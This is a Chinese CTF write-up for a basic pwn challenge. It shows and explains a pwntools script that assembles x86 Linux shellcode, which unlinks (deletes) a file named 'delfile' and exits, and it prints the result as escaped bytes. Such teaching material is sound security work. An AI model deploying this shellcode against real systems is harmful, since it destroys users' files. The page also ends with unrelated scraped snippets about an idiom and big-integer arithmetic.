這題是pwn的一道算是基礎題,直接對其解法進行講解。
這裡介紹乙個pwntools的工具,運用pwntools這個工具就不需要用c寫**,再gcc編譯,最後再objdump,所以這個很好的結合了python和彙編,接下來就是寫指令碼了:
#!/user/bin/python
from pwn import *
code = """.global _start
_start:
jmp test1
test2:
pop ebx
mov al, 0xa
int 0x80
mov al, 0x1
xor ebx, ebx
int 0x80
test1:
call test2
.string "delfile" """
context(arch='x86', os='linux', endian='little', word_size=32)
shellcode = asm(code).encode('hex')
re = ''
while len(shellcode):
re += r'\x'+shellcode[:2]
shellcode = shellcode[2:]
print re
還是一段一段開始看起:
code = """.global _start
_start:
jmp test1
test2:
pop ebx
mov al, 0xa
int 0x80
mov al, 0x1
xor ebx, ebx
int 0x80
test1:
call test2
.string "delfile" """
context(arch='x86', os='linux', endian='little', word_size=32)
這段便是pwntools的精華所在了,這裡可以直接執行組合語言(是不是很方便),這裡將彙編**複製進來就可以了;
shellcode = asm(code).encode('hex')
re = ''
while len(shellcode):
re += r'\x'+shellcode[:2]
shellcode = shellcode[2:]
print re
這段便是shell code的轉換和輸出了,這裡的第一句便是固定的格式,這個需要記憶,之後的格式與vb有點類似,就是迭代的思想,一步步來進行shellcode的轉換和輸出,這裡的迴圈便是需要將每一小段的shellcode前加入了\x,之後再輸出;
這裡需要注意再最後的flag的時候需要將最後的字串結束的標誌去除,也就是/x00去除。
中加減乘除 晉朝成語 加減乘除
讀 音 ji ji n ch ng ch 釋 義 算術的四則運算,借指事物的消長變化。出 自 明 王九思 端正好 次韻贈邵晉夫歸隱 端的是太平人物,誰想道命兒中加減乘除。例句1.他們的第一台機器可以加減乘除。2.通過教她不同的錢的面額幫你的孩子學會加減乘除。3.阿拉巴馬州和密西西比州有差不多一半的孩...
C BigInterger 加減乘除
c biginterger 加減乘除 include include include include include using namespace std class dividedbyzeroexception class biginteger biginteger.cpp const bigi...
大數加減乘除
include include include include includeusing namespace std compare比較函式 相等返回0,大於返回1,小於返回 1 int compare string str1,string str2 if cf 0 str char cf 0 st...